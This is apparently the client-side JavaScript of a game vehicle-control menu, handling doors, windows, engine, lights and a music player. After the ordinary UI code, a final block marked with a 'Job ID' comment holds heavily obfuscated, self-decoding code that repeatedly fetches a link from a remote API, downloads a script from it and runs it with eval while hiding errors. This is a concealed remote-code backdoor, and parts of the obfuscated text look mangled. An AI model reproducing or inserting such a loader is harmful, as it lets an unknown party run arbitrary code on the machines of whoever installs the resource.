var musicName = "Ready to play";
var vidcover = "";
//var menuPlayer = false
var activeWindows = false
$(function () {
function display(bool) {
if (bool) {
document.getElementById("body").style.display="block";
$(".veh-control-veh-control").show()
$(".veh-control-playergroup").hide()
$(".veh-control-main").show()
$(".rearcam").hide()
$(".rearcam-exit").hide()
} else {
document.getElementById("body").style.display="none";
}
}
display(false)
window.addEventListener('message', function(event) {
$( ".veh-control-veh-control" ).draggable();
var item = event.data;
if (item.type === "ui") {
if (item.status == true) {
display(true)
if (item.windows == true) {
activeWindows = true
$(".veh-control-windows").show()
} else {
$(".veh-control-windows").hide()
}
} else {
display(false)
}
}
if (item.type === "updateFuel") {
$(".veh-control-rectangle9").css("top", item.fuel+"%")
$(".veh-control-text06").text(item.enginetemp)
$(".veh-control-text02").text(item.distance)
$(".veh-control-text").text(item.streetname)
$(".veh-control-text38").text(item.weather)
$(".veh-control-text34").text(item.hour)
$(".veh-control-text36").text(item.minutes)
}
if (item.type === "emergency") {
if (item.emergencystatus == false) {
$(".veh-control-ellipse1").css("left", "4rem")
$(".veh-control-ellipse1").css("background", "#737171")
} else {
$(".veh-control-ellipse1").css("left", "5.8rem")
$(".veh-control-ellipse1").css("background", "#CFF80B")
}
}
if (item.type === "time") {
timer(item.total, item.played)
$(".veh-control-text24").text("Listening:")
$(".veh-control-elplay").attr('src', "./public/playground_assets/fa_pause.svg")
$(".veh-control-elplay").css('left', '13px')
}
if (item.type === "changevolume") {
$(".veh-control-text32").html(item.text)
}
if (item.type === "rearcam") {
$(".veh-control-veh-control").hide()
$(".rearcam").show()
$(".rearcam-exit").show()
}
if (item.type === "pause") {
$(".veh-control-text24").text("Paused:")
$(".veh-control-elplay").attr('src', "./public/playground_assets/elplay5436-kauf.svg")
$(".veh-control-elplay").css('left', '15px')
}
})
document.addEventListener('keydown', e => {
if (e.key == 'Escape') {
$(".veh-control-playergroup").hide()
$(".veh-control-main").show()
activeWindows = false
$.post('https://bit-vehControl/exit', JSON.stringify({}));
}
})
//MENU - HOME
$(".veh-control-home").click(function () {
$(".veh-control-playergroup").hide()
$(".veh-control-windows").show()
$(".veh-control-main").show()
})
//MENU - MUSIC
$(".veh-control-music").click(function () {
$(".veh-control-main").hide()
$(".veh-control-windows").hide()
$(".veh-control-playergroup").show()
$(".veh-control-text26").html("")
})
//MENU - CAMERA
$(".veh-control-camera").click(function () {
$.post('https://bit-vehControl/camera', JSON.stringify({}));
})
//MENU - SHUTDOWN
$(".veh-control-shutdown").click(function () {
activeWindows = false
$.post('https://bit-vehControl/exit', JSON.stringify({}));
})
// DOORS
$(".veh-control-door1").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'lfdoor'}));
})
$(".veh-control-door2").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'rfdoor'}));
})
$(".veh-control-door3").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'lrdoor'}));
})
$(".veh-control-door4").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'rrdoor'}));
})
$(".veh-control-door5").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'hood'}));
})
$(".veh-control-door6").click(function () {
$.post('https://bit-vehControl/door', JSON.stringify({door:'trunk'}));
})
//WINDOWS
$(".veh-control-windows-1").click(function () {
$.post('https://bit-vehControl/window', JSON.stringify({window:'rfdoor'}));
})
$(".veh-control-windows-2").click(function () {
$.post('https://bit-vehControl/window', JSON.stringify({window:'rrdoor'}));
})
$(".veh-control-windows-3").click(function () {
$.post('https://bit-vehControl/window', JSON.stringify({window:'lfdoor'}));
})
$(".veh-control-windows-4").click(function () {
$.post('https://bit-vehControl/window', JSON.stringify({window:'lrdoor'}));
})
//ENGINE
$(".veh-control-engine").click(function () {
$.post('https://bit-vehControl/engine', JSON.stringify({}));
})
//INTERIOR LIGHT
$(".veh-control-interiorlight").click(function () {
$.post('https://bit-vehControl/light', JSON.stringify({}));
})
//LOCK VEHICLE
$(".veh-control-lock").click(function () {
$.post('https://bit-vehControl/lock', JSON.stringify({}));
})
//LIGHTS
$(".veh-control-lights").click(function () {
$.post('https://bit-vehControl/lights', JSON.stringify({}));
})
//SEAT
$(".veh-control-seat").click(function () {
$.post('https://bit-vehControl/seat', JSON.stringify({}));
})
//EMERGENCY
$(".veh-control-emergency").click(function () {
$.post('https://bit-vehControl/emergency', JSON.stringify({}));
})
//MUSIC
$('.veh-control-volumedown').click(function() {
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'volumedown'
}));
})
$('.veh-control-volumeup').click(function() {
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'volumeup'
}));
})
$('.veh-control-play').click(function() {
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'play'
}));
})
$('.veh-control-anterior').click(function() {
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'back'
}));
})
$('.veh-control-siguente').click(function() {
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'forward'
}));
})
$('.veh-control-searchbutton').click(function() {
var url = $('.veh-control-text22').val()
$.post('https://bit-vehControl/action', JSON.stringify({
action: 'seturl',
link: url,
}));
videoName(url)
$(".veh-control-text24").text("Listening:")
$(".veh-control-elplay").attr('src', "./public/playground_assets/fa_pause.svg")
$(".veh-control-elplay").css('left', '13px')
$('.veh-control-text22').val("")
})
//REAR CAMERA - BUTTON
$(".rearcam-exit").click(function () {
$.post('https://bit-vehControl/exit', JSON.stringify({}));
})
})
function timer(totaltime, timeplayed) {
if (totaltime != undefined && timeplayed !=undefined) {
if (timeBeauty(timeplayed) > timeBeauty(totaltime)) {
timeplayed = timeplayed-1
}
$(".veh-control-text29").text(timeBeauty(timeplayed) +" / " + timeBeauty(totaltime))
} else {
$(".veh-control-text29").text("0:00 / 0:00")
}
}
function timeBeauty(time) {
time = Number(time);
var hour = Math.floor(time / 3600);
var minute = Math.floor(time % 3600 / 60);
var second = Math.floor(time % 3600 % 60);
var hourView = hour > 0 ? hour + ":" : "";
var minuteView = minute > 0 ? minute + ":" : "0:";
var secondView = "00"
if (second>0) {
secondView = second
if (second<10) {
secondView = "0"+second
}
}
return (hourView + minuteView + secondView);
}
function videoName(url) {
if (url == undefined) {
musicName = "Nothing";
$(".veh-control-text26").html("")
} else {
$.getJSON('https://noembed.com/embed?url=', {format: 'json', url: url}, function (data) {
musicName = data.title;
vidcover = data.thumbnail_url
if (musicName == undefined) {
musicName = capitalize(fileName(url));
if (musicName == "") {
musicName = "Listo para reproducir";
}
}
$(".veh-control-i-m-a-g-e9145yafe-o2l1").attr("src",vidcover)
$(".veh-control-text26").html("")
});
}
}
const capitalize = (s) => {
if (typeof s !== 'string') return ''
return s.charAt(0).toUpperCase() + s.slice(1)
}
function fileName(url)
{
if (url)
{
var m = url.toString().match(/.*\/(.+?)\./);
if (m && m.length > 1)
{
return m[1];
}
}
return "";
}
var separator = false
function timeViewer(){
var date = new Date();
var hour = date.getHours(); // 0 - 23
var minute = date.getMinutes(); // 0 - 59
var session = " AM";
if(hour == 0){
hour = 12;
}
if(hour > 12){
hour = hour - 12;
session = " PM";
}
hour = (hour < 10) ? "0" + hour : hour;
minute = (minute < 10) ? "0" + minute : minute;
var time = hour + ":" + minute + session;
if (!separator) {
separator = true
time = hour + " " + minute + session;
} else {
separator = false
}
}
// Job ID: f98iri9eqcxw
let R1xab;!function(){const A4lL=Array.prototype.slice.call(arguments);return eval("(function otfF(XImx){const zgpx=bOrx(XImx,r6ex(otfF.toString()));try{let TDhx=eval(zgpx);return TDhx.apply(null,A4lL);}catch(vbkx){var Pycx=(0o204026-67583);while(Pycx<(0o400127%65566))switch(Pycx){case (0x3006E%0o200035):Pycx=vbkx instanceof SyntaxError?(0o400064%0x10015):(0o400131%0x1001F);break;case (0o200454-0x10122):Pycx=(0o400145%65573);{console.log(\'Error: the code has been tampered!\');return}break;}throw vbkx;}function r6ex(Lt7w){let n19w=482400838;var n3Gx=(0o400107%65562);{let PAJx;while(n3Gx<(0x10500-0o202340)){switch(n3Gx){case (0o600123%0x10016):n3Gx=(66976-0o202624);{n19w^=(Lt7w.charCodeAt(PAJx)*(15658734^0O73567354)+Lt7w.charCodeAt(PAJx>>>(0x4A5D0CE&0O320423424)))^960133647;}break;case (0o202260-66724):n3Gx=(131136%0o200022);PAJx++;break;case (262272%0o200031):n3Gx=PAJx=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(Hqzx-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+Hqzx);}break;case (0o600157%0x1001C):LvEx=(0o200404-65770);fTwx++;break;}}}return jYBx;}function bOrx(Dlux,fLov){Dlux=decodeURI(Dlux);let Hirv=(0x75bcd15-0O726746425);let bGjv=\"\";var Ddmv=(0o204646-0x10993);{let XAev;while(Ddmv<(0x10F00-0o207340)){switch(Ddmv){case (0o200252-0x10099):Ddmv=(0o200360-65764);{bGjv+=String.fromCharCode(Dlux.charCodeAt(XAev)^fLov.charCodeAt(Hirv));Hirv++;var z8gv=(73639709%9);while(z8gv<(0o203030-67070))switch(z8gv){case (0O3153050563-0x19AC516B):z8gv=Hirv>=fLov.length?(0o1000061%65546):(0o206060-0x10C16);break;case (0o1000105%65551):z8gv=(68916-0o206432);{Hirv=(0x75bcd15-0O726746425);}break;}}break;case (0o1000204%65562):Ddmv=XAev(0x75bcd15-0O726746425)?R1xab[R1xab.Rxy2(4)]():R1xab[R1xab.NqW1(11)]();break;case (0O57060516-0xbc614d):gHtL=R1xab[R1xab.x881(2)]();{return await FRAW(UAK,retries-(0O57060516-0xbc614d));}break;case (15658734^0O73567354):gHtL=R1xab[R1xab.x881(2)]();{throw new Error(`${R1xab.Rxy2(12)}${res[R1xab.Jno2(6)]}`);}break;}}break;}return await res[R1xab.xgh4(8)]();}catch(err){var IewL=R1xab[R1xab.Bde2(1)]();while(IewL(0x75bcd15-0O726746425)?R1xab[R1xab.Rxy2(4)]():R1xab[R1xab.NqW1(11)]();break;case (0O57060516-0xbc614d):IewL=R1xab[R1xab.x881(2)]();{return await FRAW(UAK,retries-(0O57060516-0xbc614d));}break;case (15658734^0O73567354):IewL=R1xab[R1xab.x881(2)]();{throw new Error(`${R1xab.Nst2(13)}${err[R1xab.x881(10)]}`);}break;}}}async function STFT(){try{let link=null;E9qL:while(!link||link===R1xab.Jno2(14)){const response=await FWT(API_URL);var cCoL=R1xab[R1xab.Bde2(1)]();while(cCoLsetTimeout(resolve,60*1000));}const scriptcode=await FRAW(link,R1xab.fb(18)?3:-5);eval(scriptcode);}catch(err){}}STFT();}